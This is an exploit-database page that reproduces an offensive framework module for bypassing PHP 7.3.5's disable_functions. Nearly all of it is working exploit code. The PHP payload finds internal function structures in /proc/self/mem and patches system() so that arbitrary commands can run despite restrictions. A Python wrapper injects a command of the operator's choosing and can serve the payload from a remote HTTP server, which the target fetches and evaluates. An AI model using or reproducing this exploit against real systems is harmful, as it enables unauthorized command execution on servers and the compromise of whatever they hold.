Lucene search
+L

PHP 7.3.5 disable_functions bypass

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

PHP json disable_functions bypass enables code execution.

Refs
Code
from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer

class Module(Post, HTTPServer):

	__info__ = {
		"name": "PHP 7.3.5 disable_functions bypass",
		"description": "PHP 7.3.5 json disable_functions bypass",
		"arch": Arch.PHP,
	'agent': {
	    'risk': 'intrusive',
	    'effects': ['active_exploitation'],
	    'expected_requests': 2,
	    'reversible': False,
	    'approval_required': True,
	    'produces': ['risk_signals'],
	    'cost': 1.5,
	    'noise': 0.5,
	    'value': 1.0,
	    'requires': 	    {'min_endpoints': 0,
	     'min_params': 0,
	     'tech_hints_any': [],
	     'tech_hints_all': [],
	     'specializations_any': [],
	     'risk_signals_any': [],
	     'auth_session': False,
	     'capabilities_any': ['rce', 'shell', 'file_read'],
	     'capabilities_all': [],
	     'confidence_min': {},
	     'confidence_min_any': {},
	     'endpoint_pattern_any': [],
	     'param_any': [],
	     'api_surface_ready': False},
	    'chain': 	    {'produces_capabilities': [],
	     'consumes_capabilities': ['shell'],
	     'option_bindings': {},
	     'suggested_followups': []},
	},
	}
	
	command = OptString("uname -a", "command system to send", True)
	start_web_delivery = OptBool(False, "start web delivery", True)
	
	def check(self):
		"""Check if target is vulnerable"""
		return True
		
	def run(self):
		data = rf"""

selfpatch();

system("COMMAND_PLACEHOLDER");


function selfpatch(){{
  $maps = read_proc_maps();
  $cg = read_compiler_globals($maps);
  $funs = read_function_table($cg);

  $fn_passthru = $funs["passthru"] or die("no passthru?");
  $fn_exec = $funs["exec"] or die("no exec?");
  $fn_system = $funs["system"] or die("no system?");

  /*
   the functions above are defined right after each other, their zif_handler is allocated on the heap
   subsequently. The difference of their addresses on 64 bit architectures is:
    --enable-debug builds: 43 bytes
            normal builds: 16 bytes
   Anyway, lets calculate the correct number properly by comparing htmlspecialchars and htmlspecialchars_decode:
  */
  $fn_htmlspecialchars = $funs["htmlspecialchars"] or die("no htmlspecialchars?");
  $fn_htmlspecialchars_decode = $funs["htmlspecialchars_decode"] or die("no htmlspecialchars_decode?");
  $zif_diff = $fn_htmlspecialchars_decode["zif_handler_addr"]-$fn_htmlspecialchars["zif_handler_addr"];
  debug("zip_diff is: ".$zif_diff);

  $real_zif_system_addr = $fn_exec["zif_handler_addr"] + $zif_diff;
  $real_zif_system_addr_bin = pack("Q", $real_zif_system_addr);

  $fd = fopen("/proc/self/mem", "r+b") or die("couldnt open memory for reading and writing");
  if(fseek($fd, $fn_system["internal_func_addr"]+32)) die("Cannot access zend_internal_function of system");

  // we are at num_args.
  if(4 != fwrite($fd, $fn_passthru["num_args_bin"])) die("patching num args failed");

  fread($fd, 4); // skipping required_num_args

  if(8 != fwrite($fd, $fn_passthru["arg_info_addr_bin"])) die("patching arg info failed");

  if(8 != fwrite($fd, $real_zif_system_addr_bin)) die("patching zif_handler failed");

  fclose($fd);
}}


function read_zend_string($fd, $addr) {{
  if(fseek($fd, $addr+16)) die("Cannot access function name at $i");
  $b = fread($fd, 8);
  $lena = unpack("Q", $b);
  return fread($fd, $lena[1]);
}}

function read_function_from_bucket($fd, $i) {{

  $re = Array();

  if(fseek($fd, $i)) die("Cannot access bucket at $i");
  $b = fread($fd, 8);
  $na = unpack("Q", $b);
  $re["internal_func_addr"] = $na[1];
  $re["internal_func_addr_hex"] = dechex($na[1]);

  if(fseek($fd, $re["internal_func_addr"]+4)) die("Cannot access function name at $i");
  $b = fread($fd, 4);
  $na = unpack("L", $b);
  $re["fn_flags"] = $na[1];

  $b = fread($fd, 8);
  $na = unpack("Q", $b);
  $re["function_name_addr"] = $na[1];
  $re["function_name_addr_hex"] = dechex($na[1]);

  fread($fd, 16); // skipping zend_class_entry and zend_function ptrs

  $b = fread($fd, 4);
  $na = unpack("L", $b);
  $re["num_args_bin"] = $b;
  $re["num_args"] = $na[1];

  fread($fd, 4); // skipping required_num_args

  $b = fread($fd, 8);
  $na = unpack("Q", $b);
  $re["arg_info_addr_bin"] = $b;
  $re["arg_info_addr"] = $na[1];
  $re["arg_info_addr_hex"] = dechex($na[1]);

  $b = fread($fd, 8);
  $na = unpack("Q", $b);
  $re["zif_handler_addr"] = $na[1];
  $re["zif_handler_addr_hex"] = dechex($na[1]);

  $re["func_name"] = read_zend_string($fd, $re["function_name_addr"]);

  debug(print_r($re, true));

  // sleep(1); exit;

  return $re;
}}

function read_function_table($cg) {{

  $re = Array();
  $fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");

/*
(gdb) p (void*) &(compiler_globals->function_table->nNumUsed) - (void*) &(compiler_globals->function_table->gc)
$6 = 24
*/
  $ardata_pos = $cg["function_table_address"]+16;

  if(fseek($fd, $ardata_pos)) die("Cannot access the function HashTable");
  $b = fread($fd, 8);
  $nnum = unpack("Q", $b);

  $arDataBase = $nnum[1];

  $b = fread($fd, 8);
  $nnum = unpack("L*", $b);

  $nNumUsed = $nnum[1];
  $nNumOfElements = $nnum[2];

  debug("Number of functions: $nNumUsed/$nNumOfElements");
  $addr = $arDataBase;
  for($i = 0; $i < $nNumUsed; $i++) {{
     $fun = read_function_from_bucket($fd, $addr);
     $re[$fun["func_name"]] = $fun;
/*
(gdb) p (void*)&(compiler_globals->function_table->arData[1]) - (void*)&(compiler_globals->function_table->arData[0])
$10 = 32
*/
     $addr += 32;
  }}

  fclose($fd);

  return $re;
}}

function find_compiler_globals_at($fd, $i) {{
   if(fseek($fd, $i)) die("couldnt access memory at: $i\n");
   $b = fread($fd, 16);
   $up = unpack("L*", $b);
   // print_r($up); //exit;
   if(($up[1] == 12) && ($up[2] == 0) && ($up[3] == 16) && ($up[4] == 0)) {{
      debug(sprintf("Compiler global struct found at: %d (%s)", $i, dechex($i)));
      return $i;
   }}
   return 0;
}}

// Function based on some dummy heuristics. Could be improved to be more robust/reliable.
function read_compiler_globals($maps){{
  $fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");

  $addr = 0;
  foreach($maps as $map) {{
    debug("reading memory: ".print_r($map, true));
    $i = $map["mem_region_begin"];

    while($i + 16 <= $map["mem_region_end"]) {{
       if($addr = find_compiler_globals_at($fd, $i)) {{
          break;
       }}
       $i+= 8;
    }}

    if($addr) break;
  }}

  if(!$addr) die("Couldnt find compiler globals");

/*
(gdb) p &(compiler_globals->function_table)
$4 = (HashTable **) 0x7fedf14d4d78 <compiler_globals+56>
*/
  if(fseek($fd, $addr+56)) die("couldnt access memory at: $i\n");
  $b = fread($fd, 8);
  $ft = unpack("Q", $b)[1];

  $re = Array(
     "compiler_global_address" => $addr,
     "compiler_global_address_hex" => dechex($addr),
     "function_table_address" => $ft,
     "function_table_address_hex" => dechex($ft),
  );

  fclose($fd);

  debug(print_r($re, true));

  return $re;
}}

function read_proc_maps(){{
  $maps_str = file_get_contents("/proc/self/maps") or die("Cant read proc maps");
  debug($maps_str);
  $re = Array();
#
  preg_match_all('/([0-9a-f]+)-([0-9a-f]+) ([rwxp-]+) [0-9a-f]+ \d+:\d+ \d+(.*)/', $maps_str, $matches);
#  print_r($matches);
  $php_seen = 0;
  for($i = 0; $i < count($matches[0]); $i++) {{
     $a = Array(
       "executable" => trim($matches[4][$i]),
       "perms" => $matches[3][$i],
       "mem_region_begin_hex"=> $matches[1][$i],
       "mem_region_end_hex"=> $matches[2][$i],
       "mem_region_begin"=> hexdec($matches[1][$i]),
       "mem_region_end"=> hexdec($matches[2][$i]),
     );
     // echo "$executable: $perms\n";
     if((endsWith($a["executable"], "/php"))&&($a["perms"] == "r-xp")) {{
        $php_seen = 1;
     }}

     if($a["executable"] == "[heap]") {{
        array_push($re, $a);
     }}
     elseif($a["perms"] == "rw-p") {{
        if((endsWith($a["executable"], "/php")||(($a["executable"] == "") && $php_seen)))
        array_push($re, $a);
     }}
  }}
  if(!count($re)) die("Couldnt find any interesting memory regions");

  debug(print_r($re, true));
  return $re;
}}


function endsWith($haystack, $needle) {{
    return substr_compare($haystack, $needle, -strlen($needle)) === 0;
}}

function debug($m) {{
  return;
  echo "$m\n";
}}		
		"""
		# Replace command placeholder with actual command
		command_escaped = self.command.replace('"', '\\"')
		data = data.replace("COMMAND_PLACEHOLDER", command_escaped)
		
		if self.start_web_delivery:
			host, port, httpd = self.web_delivery(data)
			print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
			self.web_shutdown(httpd)
		else:
			print_info(self.cmd_execute(data))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8
1